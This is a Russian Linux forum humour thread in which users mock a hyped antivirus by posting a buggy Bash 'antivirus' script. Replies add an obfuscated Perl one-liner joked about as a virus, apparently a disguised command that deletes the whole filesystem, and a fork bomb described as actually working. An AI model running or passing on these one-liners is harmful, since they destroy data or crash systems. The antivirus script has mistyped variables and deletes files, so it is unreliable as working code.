Несмешное из смешного (Антивирус на BASH)

Здесь выкладываем всё! Смешные картинки, истории, анекдоты, всё, что вызывает у вас смех.

Модератор: Модераторы разделов

Ответить
Аватара пользователя
yamah
Сообщения: 1116
ОС: Rosa Fresh, Debian, RELS
Контактная информация:

Несмешное из смешного

Сообщение yamah »

По стопам создателя BolgenOS пощел один мой земляк. (Извиняйте, что ссылка на Лурк, но пока это самый быстрый способ познакомится с историей шумихи.)
Только он выбрал еще нелепее дорогу. Он сделал антиврус непонятно как и нифига не работающий.

В общем, сижу я на работе и знакомлюс с абжем по статьям в сети. И тут до меня доходит, что я тоже могу стать "непризнанным гением" (спасибо комментатору с местного информационного ресурса), сделав свой антивирус, который в отличии от продукта, заворившего шумиху, должен хоть как-то работать.
Выбор платформы исполнения очевиден - BASH.

Ну собственно и сам антивирус:

Код: Выделить всё

$ cat my-gnu-av.sh
#!/bin/bash

# My GNU AntiVirus
# GNU GPLv3
# v 0.02

declare -a VirusDB
LOGFILE=/var/log/mygnuav.log

if [ "$1" != "" ]
    then
        SCANPATH=$1
    else
        SCANPATH="/home"
fi

vdbk="$(zcat /etc/My-GNU_AV/db.dat | grep "Known viruses:" | awk -F': ' '{print $2}')"
ind=0
for line in `zcat /etc/My-GNU_AV/db.dat | grep -v "#" | grep -v "Known viruses:" | awk -F' //' '{print $1}'`
    do
        if [ "$line" != "" ]
            then
                if [ "$ind" -lt "$vbdk" ]
                    then
                        templine="$(echo $line | awk -F' | ' '{print $1}')"
                        VirusDB[$ind]=$templine
                        tempind=$((vdbk+ind))
                        templine="$(echo $line | awk -F' | ' '{print $2}')"
                        VirusDB[$tempind]=$templine
                        tempind=$((2*vdbk+ind))
                        templine="$(echo $line | awk -F' | ' '{print $3}')"
                        VirusDB[$tempind]=$templine
                        tempind=$((3*vdbk+ind))
                        templine="$(echo $line | awk -F' | ' '{print $4}')"
                        VirusDB[$tempind]=$templine
                        tempind=$((4*vdbk+ind))
                        templine="$(echo $line | awk -F' | ' '{print $5}')"
                        VirusDB[$tempind]=$templine
                    else
                        echo "Error of Virus DB"
                fi
                ind=$[$ind+1]
        fi
    done

find $SCANPATH -type f | while read i
    do
        BSN=$(basename $i)
        FSNM=$(du -b $i  | awk -F' ' '{print $1}')
        MD5S=$(md5sum $i | awk -F' ' '{print $1}')
        ind=0
        while [ "$ind" -lt "$vdbk" ]
            do
                if [ "$MD5S" == "${VirusDB[$ind]}" ]
                    then
                        SHA1S=$(sha1sum  $i | awk -F' ' '{print $1}')
                        tempind=$((vdbk+ind))
                        if [ "$SHA1S" == "${VirusDB[$tempind]}" ]
                            then
                                tempind=$((2*vdbk+ind))
                                if [ "$FSNM" == "${VirusDB[$tempind]}" ]
                                    then
                    tempind=$((4*vdbk+ind))
                    if [ "${VirusDB[$tempind]}" == "rekeep" ]
                        then
                        dd if=/dev/zero of=$i bs=1 count=$FSNM
                        echo $(date +%Y.%m.%d ; date +%H:%M:%S) "   " "Infected file: " $i  " by virus " ${VirusDB[$tempind]} >> $LOGFILE
                        else
                        tempind=$((3*vdbk+ind))
                        rm -rf $i
                        echo $(date +%Y.%m.%d ; date +%H:%M:%S) "   " "Infected file: " $i  " by virus " ${VirusDB[$tempind]} >> $LOGFILE
                    fi
                                    else
                                        echo $(date +%Y.%m.%d ; date +%H:%M:%S) "   " "Double danger file: " $i >> $LOGFILE
                                fi
                        fi
                    else
                        tempind=$((3*vdbk+ind))
                        if [ "$BSN" -eq "${VirusDB[$tempind]}" ]
                            then
                                echo $(date +%Y.%m.%d ; date +%H:%M:%S) "   " "Danger file: " $i >> $LOGFILE
                        fi
                fi
                let "ind = $ind +1"
            done
    done

exit 0

По идее это должно работать с напоненной базой в файле /etc/My-GNU_AV/db.dat
У меня такого файла не нашлось :)
Понимание - это меч с тремя кромками: ваша правда, наша правда и Истина.
Жизнь - игра: сюжет задуман фигова, но графика хорошая...
Лучший игровой сервер - Земля: карта всего одна, но на 7 миллиардов игроков; читеров нет, админ терпеливый, но если уж забанит...
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current
Контактная информация:

Re: Несмешное из смешного

Сообщение drBatty »

ну осталось придумать GNU вирус.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
yamah
Сообщения: 1116
ОС: Rosa Fresh, Debian, RELS
Контактная информация:

Re: Несмешное из смешного

Сообщение yamah »

drBatty писал(а):
04.03.2013 10:36
ну осталось придумать GNU вирус.


Код: Выделить всё

cat ~/virus.sh
#!/bin/sh
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


В базу добавить^

Код: Выделить всё

MD5S=$(md5sum virus.sh | awk -F' ' '{print $1}') ; SHA1S=$(md5sum virus.sh | awk -F' ' '{print $1}') ; SIZES=$(ls -l | grep -m 1 virus | awk -F' ' '{print $5}') ; echo -e $MD5S "|" $SHA1S "|" $SIZES "|" "Remove" "|" "Varius Name" "\n""Known viruses: 1" | gzip  >> /etc/My-GNU_AV/db.dat

:D
Понимание - это меч с тремя кромками: ваша правда, наша правда и Истина.
Жизнь - игра: сюжет задуман фигова, но графика хорошая...
Лучший игровой сервер - Земля: карта всего одна, но на 7 миллиардов игроков; читеров нет, админ терпеливый, но если уж забанит...
Спасибо сказали:
Аватара пользователя
SLEDopit
Модератор
Сообщения: 4823
Статус: фанат консоли (=
ОС: GNU/Debian, RHEL

Re: Несмешное из смешного

Сообщение SLEDopit »

yamah
почём поддержка для корпоративного клиента? (:
UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity. © Dennis Ritchie
The more you believe you don't do mistakes, the more bugs are in your code.
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Несмешное из смешного

Сообщение Bizdelnick »

drBatty писал(а):
04.03.2013 10:36
ну осталось придумать GNU вирус.

Ну как же, можно с недавно поломанного Ынтырпрайза libkeyutils.so.1.9 добавить.
Кстати, кто-нибудь в курсе, дыру-то вообще нашли?
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
yamah
Сообщения: 1116
ОС: Rosa Fresh, Debian, RELS
Контактная информация:

Re: Несмешное из смешного

Сообщение yamah »

SLEDopit писал(а):
04.03.2013 11:16
yamah
почём поддержка для корпоративного клиента? (:

Не-не-не! Мопед не мой. Я только объявление разместил! :-D

Bizdelnick писал(а):
04.03.2013 11:22
drBatty писал(а):
04.03.2013 10:36
ну осталось придумать GNU вирус.

Ну как же, можно с недавно поломанного Ынтырпрайза libkeyutils.so.1.9 добавить.
Кстати, кто-нибудь в курсе, дыру-то вообще нашли?

Его сначала в "Ынтерпрайз" нужно еще вручную поставить.

Дырка в какой-то левой сборке SSH с левого сайта.
То, что с описания на секлабе, понял, что приходит письмо с ящика что-то типа support@getthefacts.com сообщение, что нужно обновить sshd с сайта kasparskylab.com.
Понимание - это меч с тремя кромками: ваша правда, наша правда и Истина.
Жизнь - игра: сюжет задуман фигова, но графика хорошая...
Лучший игровой сервер - Земля: карта всего одна, но на 7 миллиардов игроков; читеров нет, админ терпеливый, но если уж забанит...
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Несмешное из смешного

Сообщение Bizdelnick »

yamah писал(а):
05.03.2013 06:03
Дырка в какой-то левой сборке SSH с левого сайта.
То, что с описания на секлабе, понял, что приходит письмо с ящика что-то типа support@getthefacts.com сообщение, что нужно обновить sshd с сайта kasparskylab.com.

А можно пруф? Свежее этого ничего не нашёл.
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
yamah
Сообщения: 1116
ОС: Rosa Fresh, Debian, RELS
Контактная информация:

Re: Несмешное из смешного

Сообщение yamah »

Bizdelnick писал(а):
05.03.2013 09:31
А можно пруф?

Можно.

Еще есть это
Правда по тексту вообще похоже, что нужно выпить литра три какого-то бутора что бы понять что там написано.

Понимание - это меч с тремя кромками: ваша правда, наша правда и Истина.
Жизнь - игра: сюжет задуман фигова, но графика хорошая...
Лучший игровой сервер - Земля: карта всего одна, но на 7 миллиардов игроков; читеров нет, админ терпеливый, но если уж забанит...
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Несмешное из смешного

Сообщение Bizdelnick »

Это два разных бекдора. Я имел в виду второй.
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
yamah
Сообщения: 1116
ОС: Rosa Fresh, Debian, RELS
Контактная информация:

Re: Несмешное из смешного

Сообщение yamah »

Да? Не знал.
Я думал, что , это как кидо и конфицкер - два разных названия от двух разных лабораторий.
Понимание - это меч с тремя кромками: ваша правда, наша правда и Истина.
Жизнь - игра: сюжет задуман фигова, но графика хорошая...
Лучший игровой сервер - Земля: карта всего одна, но на 7 миллиардов игроков; читеров нет, админ терпеливый, но если уж забанит...
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current
Контактная информация:

Re: Несмешное из смешного

Сообщение drBatty »

yamah
это не вирус, а просто команда записанная в типичном стиле перловских программистов(как будто бились головой ап клаву).

ЗЫЖ добавьте

Код: Выделить всё

 :(){ :|:& };:

этот хоть работает.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Несмешное из смешного

Сообщение Bizdelnick »

yamah писал(а):
06.03.2013 08:10
Я думал, что , это как кидо и конфицкер - два разных названия от двух разных лабораторий.

Судя по описаниям - нет.

yamah писал(а):
04.03.2013 11:11
#!/bin/sh
perl -e

Только сейчас заметил. facepalm.png
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
yamah
Сообщения: 1116
ОС: Rosa Fresh, Debian, RELS
Контактная информация:

Re: Несмешное из смешного

Сообщение yamah »

Bizdelnick писал(а):
06.03.2013 10:26
Только сейчас заметил. facepalm.png

Ну так зловред же! :-D

drBatty, дык знаю, что не вирус.

Я не подписывался базы вести. :)
Понимание - это меч с тремя кромками: ваша правда, наша правда и Истина.
Жизнь - игра: сюжет задуман фигова, но графика хорошая...
Лучший игровой сервер - Земля: карта всего одна, но на 7 миллиардов игроков; читеров нет, админ терпеливый, но если уж забанит...
Спасибо сказали:
Аватара пользователя
Bluetooth
Сообщения: 4395
Статус: Блюзовый
ОС: Debian Squeeze amd64

Re: Несмешное из смешного

Сообщение Bluetooth »

yamah писал(а):
05.03.2013 10:15
Правда по тексту вообще похоже, что нужно выпить литра три какого-то бутора что бы понять что там написано.

По тексту похоже, что авторы этих текстов если и видели ssh, то только один раз.
Причем, в тексте от дрвеба сказали, что нашли дыру:
Однако они выяснили, что установка вредоносной программы на атакуемые серверы осуществляется, используя критическую уязвимость.


Вот только что за дыра - молчок :)
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Несмешное из смешного

Сообщение Bizdelnick »

Bluetooth писал(а):
06.03.2013 18:58
в тексте от дрвеба сказали, что нашли дыру

Это довольно обтекаемая формулировка. Из неё следует, что уязвимость существует (что и так понятно по количеству поломанных серверов), но не то, что она обнаружена.
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current
Контактная информация:

Re: Несмешное из смешного

Сообщение drBatty »

Bizdelnick писал(а):
06.03.2013 10:26
Только сейчас заметил. facepalm.png

а что такого? Вы знаете, где на заражаемой системе perl? У меня есть /usr/bin/perl, но не факт, что он есть везде. В отличие от него, /bin/sh есть везде(?). Ну а перловка наверняка есть в $PATH текущей оболочки.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Несмешное из смешного

Сообщение Bizdelnick »

drBatty писал(а):
07.03.2013 12:34
У меня есть /usr/bin/perl, но не факт, что он есть везде.

Это стандарт для *NIX-систем вообще-то.
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
SLEDopit
Модератор
Сообщения: 4823
Статус: фанат консоли (=
ОС: GNU/Debian, RHEL

Re: Несмешное из смешного

Сообщение SLEDopit »

drBatty писал(а):
07.03.2013 12:34
/bin/sh есть везде
Ага, только где-то оно слинковано на dash, где-то на bash, а где-то и вовсе tcsh.
drBatty писал(а):
07.03.2013 12:34
Вы знаете, где на заражаемой системе perl?
/usr/bin/env из coreutils знает.
UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity. © Dennis Ritchie
The more you believe you don't do mistakes, the more bugs are in your code.
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current
Контактная информация:

Re: Несмешное из смешного

Сообщение drBatty »

Bizdelnick писал(а):
07.03.2013 13:01
Это стандарт для *NIX-систем вообще-то.

я знаю. Но хороший вредонос не может полагаться на авось, и *NIX-стандарты.

SLEDopit писал(а):
07.03.2013 18:30
Ага, только где-то оно слинковано на dash, где-то на bash, а где-то и вовсе tcsh.

это как-то помешает выполнить однострок на перле?

SLEDopit писал(а):
07.03.2013 18:30
/usr/bin/env из coreutils знает.

см. выше про *NIX-стандарты.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
SLEDopit
Модератор
Сообщения: 4823
Статус: фанат консоли (=
ОС: GNU/Debian, RHEL

Re: Несмешное из смешного

Сообщение SLEDopit »

drBatty писал(а):
07.03.2013 18:51
Но хороший вредонос не может полагаться на авось, и *NIX-стандарты.
И на что ему полагаться?
UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity. © Dennis Ritchie
The more you believe you don't do mistakes, the more bugs are in your code.
Спасибо сказали:
Ответить